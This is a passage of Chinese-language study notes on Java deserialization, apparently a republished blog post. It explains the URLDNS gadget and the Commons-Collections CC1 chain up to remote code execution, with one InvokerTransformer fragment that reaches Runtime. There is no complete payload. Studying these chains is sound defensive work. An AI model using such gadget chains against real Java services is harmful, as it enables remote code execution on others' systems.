0.0pt;margin-bottom: 10.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;word-break: break-all;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="">　Extends可以理解为全盘继承了父类的功能。implements可以理解为为这个类附加一些额外的功能；interface定义一些方法,并没有实现,需要implements来实现才可用。extend可以继承一个接口,但仍是一个接口,也需要implements之后才可用。对于class而言，Extends用于(单)继承一个类（class），而implements用于实现一个接口(interface)。</span></span></p><p style="mso-style-name: &#39;Source Code&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;word-break: break-all;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Cambria;">序列化反序列化示例Person类需加main函数来看输出结果</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">            </span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">public</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DataTypeTok&#39;;color: #902000;font-family: Consolas;">static</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DataTypeTok&#39;;color: #902000;font-family: Consolas;">void</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">main</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">String</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">[]</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> args</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">throws</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Exception</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">            </span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">ObjectOutputStream</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> out </span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">new</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">ObjectOutputStream</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">new</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">FileOutputStream</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;test.txt&#34;</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">));</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">            </span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span>Person p </span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">new</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">Person</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;312&#34;</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DecValTok&#39;;color: #40A070;font-family: Consolas;">3</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">            </span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span>out</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">writeObject</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">p</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">            </span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">ObjectInputStream</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> in </span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">new</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">ObjectInputStream</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">new</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">FileInputStream</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;test.txt&#34;</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">));</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">            </span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span>in</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">readObject</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">();</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">            </span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></p><p><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:urldns;"><span style="font-family:Calibri;">URLDNS</span></span></span></p><p><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:urldns;"><span style="font-family:Cambria;">调试URLDNS过程按p神介绍断点在putvul中第一次计算hash为加载instrument.dll(应该是idea用于debug)</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:urldns;"><span style="font-family:Cambria;">              <shape type="#_x0000_t75" filled="f" style="text-indent:0;left:0;width:420.0pt;height:226.05998pt;"><imagedata title="rId22"></imagedata></shape><img class="rich_pages wxw-img" data-ratio="0.5375" style="width:553.8084106445312px;height:301.4200134277344px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=a620e1c7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKJP6NpYkKVef3iaaDeGZPyObw1jKJ0yYDlPK6jIbpfpJASmDgGiaD0uFg%2F640%3Fwx_fmt%3Dpng"/></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:urldns;"><span style="font-family:Cambria;">可以断点在</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:urldns;"><span style="">ht.put(u, url);</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:urldns;"><span style="font-family:Cambria;">可以看到完整调用链</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:urldns;"><span style="font-family:Cambria;"><img class="rich_pages wxw-img" data-ratio="0.15892857142857142" style="width:553.8084106445312px;height:88.76000213623047px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=ee1fbcb1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKv9xxSNXwglgWYiaq4M4O7c9Q1rEibVPwa2ibxIwDOIiaCA8hMWmQmszFpw%2F640%3Fwx_fmt%3Dpng"/></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:urldns;"><span style="font-family:Cambria;">p神的介绍因为是入门比较简单，比较好玩的是su18改版的urldns，用来判断是否存在gadget需要的类</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><a href="https://mp.weixin.qq.com/s?__biz=Mzg3NjA4MTQ1NQ==&amp;mid=2247484178&amp;idx=1&amp;sn=228ccc3d624f2d64a6c1d51555c42eea&amp;scene=21#wechat_redirect" data-linktype="2"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:urldns;"><span style="font-size:12.0pt;font-family:Cambria;text-underline:none;text-decoration:none;">https://mp.weixin.qq.com/s/KncxkSIZ7HVXZ0iNAX8xPA</span></span></span></a></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:urldns;"><span style="font-size:12.0pt;font-family:Cambria;text-underline:none;text-decoration:none;"><a href="https://su18.org/post/gadgetor/" target="_blank">https://su18.org/post/gadgetor/</a></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:urldns;"><span style="font-size:12.0pt;font-family:Cambria;text-underline:none;text-decoration:none;"><a href="https://github.com/kezibei/Urldns" target="_blank">https://github.com/kezibei/Urldns</a></span></span></span></p><p><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style="font-family:Calibri;">CC1</span></span></span></p><p><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="font-family:宋体;">总体介绍和问题解析</span></span></span></span></p><p><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="font-family:Cambria;">CC链整体可以看这个</span></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="font-size:12.0pt;font-family:Cambria;text-underline:none;text-decoration:none;"><a href="https://xz.aliyun.com/t/10357" target="_blank">https://xz.aliyun.com/t/10357</a></span></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="font-size:12.0pt;font-family:Cambria;text-underline:none;text-decoration:none;"><a href="https://www.cnblogs.com/litlife/p/12571787.html#transformer" target="_blank">https://www.cnblogs.com/litlife/p/12571787.html#transformer</a></span></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="font-family:Cambria;font-weight:bold;">总的来说就是AnnotationInvocationHandler反序列化过程中通过memberValues.entrySet()调用了，这里的memberValues是proxymap，mapProxy.entrySet()，任意proxy的方法调用都会调用proxy代理的invoke方法，这里的proxy设置为AnnotationInvocationHandler，所以调用AnnotationInvocationHandler的invoke方法，他的memberValues是lazymap，调用lazymap的get方法，如果key不存在就调用transfer方法，开启调用ChainedTransformer数组利用链</span></span></span></span></p><p style="mso-style-name: &#39;Source Code&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;word-break: break-all;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="">ObjectInputStream.readObject() -&gt; AnnotationInvocationHandler.readObject() -&gt; this.memberValues.entrySet() = mapProxy.entrySet() -&gt; AnnotationInvocationHandler.invoke() -&gt; this.memberValues.get(xx) = LazyMap.get(not_exist_key) -&gt; ChainedTransformer.transform() -&gt; InvokerTransfomer.transform() -&gt; RCE</span></span></span></span></p><p><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="font-family:Cambria;">cc1不能用的原因</span></span></span></span></p><p style="mso-style-name: &#39;Source Code&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;word-break: break-all;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="">Map<string, object="object">streamVals = (Map<string, object="object">)fields.get(&#34;memberValues&#34;, null);</string,></string,></span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="font-family:Cambria;">                

                </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="">强制类型转化吧我们的memberValues转换为Map<string, object="object">，但实际调试可以发现此时的memberValues是proxy代理对象，所以会出错导致streamVals为null，我们设置的proxy没能成功传入反序列化过程，到了下面取null的entrySet自然取不到值</string,></span></span></span></span></p><p><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="font-family:Cambria;"><img class="rich_pages wxw-img" data-ratio="0.3" style="width:553.8084106445312px;height:168.0399932861328px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=4152c514&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKjRnVfgTVGhIoUibH7RyC6NXWgTV3kQwn94ia0zBz5jKBRQpWNy6MafZw%2F640%3Fwx_fmt%3Dpng"/></span></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="font-family:Cambria;">                </span></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="font-family:Cambria;"><img class="rich_pages wxw-img" data-ratio="0.15357142857142858" style="width:553.8084106445312px;height:85.68000030517578px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=06bd1ab5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKG1IX8dCJCNx9LwlicReAnVOIf1F8fLzwg2Xicccr3ouaNvMrNeYAlib7w%2F640%3Fwx_fmt%3Dpng"/></span></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="font-family:Cambria;font-weight:bold;">p牛是用transformedMap复现的，所以他说的高版本不能用的原因是他理解的transformedmap的原因，不是工具中使用lazymap在高版本不能用的原因</span></span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="font-family:Cambria;"><img data-ratio="3" style="width:1.0px;height:2.0px;" data-type="png" data-w="1" src="https://wechat2rss.xlab.app/img-proxy/?k=0fd5efc6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKPSvAm2Qb3RuV2yH7p31WQBjDU2FL7tcS3suC1OTSASYiaeAhGv07wow%2F640%3Fwx_fmt%3Dpng"/></span></span></span></span></p><p><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="font-family:Cambria;">ysoserial在构造Transformers时，为什么要用那么多反射?</span></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="">因为Runtime类没有继承Serializable接口，所以不能被序列化，在序列化时会出错，使用反射可以解决这个问题</span></span></span></span></p><p><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="font-family:宋体;">反射代码解析</span></span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="font-family:Cambria;">在实例化这个InvokerTransformer时，需要传⼊三个参数，第⼀个参数是待执⾏的⽅法名，第⼆个参数                是这个函数的参数列表的参数类型，第三个参数是传给这个函数的参数列表。</span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="font-size:12.0pt;font-family:Cambria;text-underline:none;text-decoration:none;"><a href="https://www.cnblogs.com/zpchcbd/p/14726562.html" target="_blank">https://www.cnblogs.com/zpchcbd/p/14726562.html</a></span></span></span></span></p><p style="mso-style-name: &#39;Source Code&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;word-break: break-all;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="">p神的文章中设置如下参数</span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="font-family:Cambria;">                </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="">new InvokerTransformer(&#34;getMethod&#34;,new Class[]{String.class,Class[].class},new Object[]{&#34;getRuntime&#34;,new Class[0]}),</span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="font-family:Cambria;">                

                </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="">第二个参数是因为 getMethod 方法的第二个参数类型是 Class[]，如果不需要传递任何参数，可以使用一个空的类对象数组。</span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc1;"><span style=""><span style="font-family:Cambria;">                

